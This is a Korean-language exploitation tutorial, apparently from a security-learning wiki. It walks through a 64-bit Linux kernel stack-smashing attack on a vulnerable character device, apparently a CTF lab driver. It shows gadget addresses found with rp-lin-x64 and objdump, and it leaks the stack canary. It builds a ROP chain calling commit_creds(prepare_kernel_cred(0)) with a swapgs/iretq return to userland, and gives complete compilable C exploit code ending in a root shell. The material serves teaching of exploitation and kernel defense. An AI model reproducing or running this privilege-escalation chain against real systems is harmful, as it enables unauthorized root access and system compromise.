Excuse the ads! We need some help to keep our site up.

List

03.Stack smashing(64bit) & ROP

Set environment

Proof of concept

Return Oriented Programming

Exploit method

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.

Exploit 순서
  • prepare_kernel_cred() 함수의 인자 값으로 '0'을 전달해 "root"의 자격 증명을 준비합니다.

  • commit_creds() 함수의 인자 값으로 prepare_kernel_cred() 함수가 리턴한 값("root"의 자격 증명)을 전달 합니다.
  • system() 함수를 이용하여 "/bin/sh" 를 실행합니다.
  • 이를 코드로 표현하면 다음과 같습니다.
code
commit_creds(prepare_kernel_cred(NULL));
system("/bin/sh");
  • 앞에 내용을 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
확인해야 할 정보 목록
  • prepare_kernel_cred() 함수의 주소

  • commit_creds() 함수의 주소

  • 가젯의 위치
    • "pop rdi"
    • "mov rdi, rax"
    • "swapgs"
    • "iretq"

Find gadget

  • Ubuntu 14.04버전의 경우 KASLR이 기본적으로 활성화되어 있지 않습니다.

    • 즉, Gadget을 Debug Symbol 파일에서 Gadget의 위치를 찾아 사용하면됩니다.

  • 다음과 같이 첫번째 인자 값을 저장하기 위한 "pop rdi" Gadget을 찾을 수 있습니다.

Find "pop rdi"
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "pop rdi ; ret" | head -1
0xffffffff813e223f: pop rdi ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Kernel/Exploit$ 
  • prepare_kernel_cred() 함수의 리턴 값을 첫번째 인자값으로 전달하기 위해 "mov rdi, rax" Gadget이 필요합니다.
    • 많은 양의 "mov rdi, rax" Gadget이 출력되지만 "ret" 명령어로 끝나는 Gadget은 존재하지 않습니다.

  • 이 문제를 해결하기 위해 call 명령어에 의해 commit_creds() 함수가 호출되도록 구현합니다.
    • 예를 들어 RDX 레지스터에 commit_creds() 함수의 주소를 저장하고, "mov rdi, rax ; call rdx" Gadget을 이용해 해당 함수를 호출합니다.
Find "mov rdi, rax"
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "mov rdi, rax"
0xffffffff810661d4: mov rdi, rax ; call qword [0x81C2E0F8] ;  (1 found)
0xffffffff811b4bd3: mov rdi, rax ; call qword [0x81C2E148] ;  (1 found)
0xffffffff811ba7d5: mov rdi, rax ; call qword [0x81C2E148] ;  (1 found)
0xffffffff817efe40: mov rdi, rax ; call qword [0x81C2E148] ;  (1 found)
0xffffffff81d66689: mov rdi, rax ; call qword [0x81C2E148] ;  (1 found)
...
0xffffffff817592d9: mov rdi, rax ; call rdx ;  (1 found)
0xffffffff8175a6f5: mov rdi, rax ; call rdx ;  (1 found)
0xffffffff8175c5fe: mov rdi, rax ; call rdx ;  (1 found)
0xffffffff817696cb: mov rdi, rax ; call rdx ;  (1 found)
0xffffffff817e9e92: mov rdi, rax ; call rdx ;  (1 found)
lazenca0x0@ubuntu:~/Kernel/Exploit$
Find "mov rdi, rax ; call rdx"
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "mov rdi, rax ; call rdx"|head -1
0xffffffff810152cf: mov rdi, rax ; call rdx ;  (1 found)
lazenca0x0@ubuntu:~/Kernel/Exploit$ 
  • RDX 레지스터에 commit_creds() 함수의 주소를 저장하기 위해 "pop rdx" Gadget을 찾습니다.
Find "pop rdx"
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "pop rdx ; ret"|head -1
0xffffffff8112d952: pop rdx ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Kernel/Exploit$ 
  • GS 레지스터 값의 교환을 위한 "SWAPGS" Gadget을 찾습니다.
Find "swapgs"
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 2|grep "swapgs"
0xffffffff810613d4: swapgs  ; pop rbp ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Kernel/Exploit$ 
  • Kernel 영역에서 User 영역으로 돌아가기 위해 "iretq" 명령어를 찾습니다.
    • "rp-lin-x64" 프로그램은 "ret, call, jmp"로 끝나는 Gadget만을 찾기 때문에 "iret" 명령어는 검색되지 않습니다.
  • 다음과 같이 "objdump"를 이용하여 "iret" Gadget을 찾을 수 있습니다.
Find "iretq"
lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 2|grep "iretq"
lazenca0x0@ubuntu:~/Kernel/Exploit$ objdump -j .text -d /usr/lib/debug/boot/vmlinux-4.4.0-31-generic |grep iretq|head -1
ffffffff817f7a97:	48 cf                	iretq  
lazenca0x0@ubuntu:~/Kernel/Exploit$

ROP

  • 다음과 같이 ROP를 구현할 수 있습니다.
ROP
int main(){
...
    size_t rop[512] = {0};
...
    rop[8] = canary;
    rop[9] = 0;
    rop[10] = 0;
    rop[11] = 0;
    rop[12] = 0xffffffff813e223f;	//pop_rdi
    rop[13] = 0;
    rop[14] = prepare_kernel_cred;
    rop[15] = 0xffffffff8112d952;	//pop rdx ; ret  ; 
    rop[16] = commit_creds;				
    rop[17] = 0xffffffff817e9e92;	//mov rdi, rax ; call rdx ; 
    rop[18] = 0;
    rop[19] = 0xffffffff810613d4;	//swapgs  ; pop rbp ; ret  ;
    rop[20] = 0;
    rop[21] = 0xffffffff817f7a97;	//iretq;
    rop[22] = (size_t)getShell;
    rop[23] = rv.user_cs;
    rop[24] = rv.user_rflags;
    rop[25] = rv.user_rsp;
    rop[26] = rv.user_ss;

    write(fd, rop, 8*27);
...
   return 0;
}
  • 다음과 같이 ROP를 이용하여 shell을 획득하게 됩니다.
Get shell
lazenca0x0@ubuntu:~/Kernel/Exploit/ROP$ ./rop
prepare_kernel_cred addr: 0xffffffff8109da40
commit_creds addr: 0xffffffff8109d760
SAW CTF challenge. Best of luck!

53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67  | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

0f eb 2e a8 00 00 00 00 c0 6c 6c 00 00 00 00 00  | ?.??ll
[+]canary: 0xa82eeb0f
# id
uid=0(root) gid=0(root) groups=0(root)
# 

Exploit code

  • 다음과 같이 Exploit code를 완성할 수 있습니다.
rop.c
//gcc -masm=intel -static -o rop exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>

#define TEXT_LEN 64

struct register_val {
    uint64_t user_rip;
    uint64_t user_cs;
    uint64_t user_rflags;
    uint64_t user_rsp;
    uint64_t user_ss;
} __attribute__((packed));
struct register_val rv;
size_t commit_creds, prepare_kernel_cred;

void getShell(void)
{
	execl("/bin/sh","sh",NULL);
}

void backup_rv(void) {
    asm("mov rv+8, cs;"
        "pushf; pop rv+16;"
        "mov rv+24, rsp;"
        "mov rv+32, ss;"
        );
}
unsigned long kallsym_getaddr(const char* str)
{
	FILE *stream;
	char fbuf[256];
	char addr[32];

	stream = fopen("/proc/kallsyms","r");
	if(stream < 0)
	{
		printf("failed to open /proc/kallsyms\n");
		return 0;
	}

	memset(fbuf,0x00,sizeof(fbuf));
	
	char buf[0x30] = {0};
	while(fgets(fbuf,256,stream) != NULL)
	{
		char *p = fbuf;
		char *a = addr;

		if(strlen(fbuf) == 0)
			continue;

		memset(addr,0x00,sizeof(addr));
		fbuf[strlen(fbuf)-1] = '\0';

		while(*p != ' ')
			*a++ = *p++;

		p += 3;
		if(!strcmp(p,str)){
		    char hex[20] = {0};
		    strncpy(hex, addr, 16);
		    if(strcmp(str,"prepare_kernel_cred") == 0){
			sscanf(hex, "%lx", &prepare_kernel_cred);
			return 1;
		    }else if(strcmp(str,"commit_creds") == 0){
		        sscanf(hex, "%lx", &commit_creds);
			return 1;
		    }
		}
	}

	return 0;
}
int main()
{
    static char buf[512];
    size_t rop[512] = {0};
    char val[8];
    int fd,i,j;
 
    if(kallsym_getaddr("commit_creds") == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }

    if(kallsym_getaddr("prepare_kernel_cred") == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }

    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
	return 0;
    }

    printf("prepare_kernel_cred addr: %p\n", (void*)prepare_kernel_cred);
    printf("commit_creds addr: %p\n", (void*)commit_creds);

    lseek(fd, 16, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    printf("%s\n",buf);
    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(val, buf+48,8);
    size_t canary = ((size_t *)val)[0];

    printf("[+]canary: %p\n", (void *)canary);

    backup_rv();

    rop[8] = canary;
    rop[9] = 0;
    rop[10] = 0;
    rop[11] = 0;
    rop[12] = 0xffffffff813e223f;	//pop_rdi
    rop[13] = 0;
    rop[14] = prepare_kernel_cred;  // Call prepare_kernel_cred
    rop[15] = 0xffffffff8112d952;	//pop rdx ; ret  ; 
    rop[16] = commit_creds;			
    rop[17] = 0xffffffff817e9e92;	//mov rdi, rax ; call rdx(commit_creds) ;
    rop[18] = 0;
    rop[19] = 0xffffffff810613d4;	//swapgs  ; pop rbp ; ret  ;
    rop[20] = 0;
    rop[21] = 0xffffffff817f7a97;	//iretq;
    rop[22] = (size_t)getShell;
    rop[23] = rv.user_cs;
    rop[24] = rv.user_rflags;
    rop[25] = rv.user_rsp;
    rop[26] = rv.user_ss;

    write(fd, rop, 8*27);

    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

References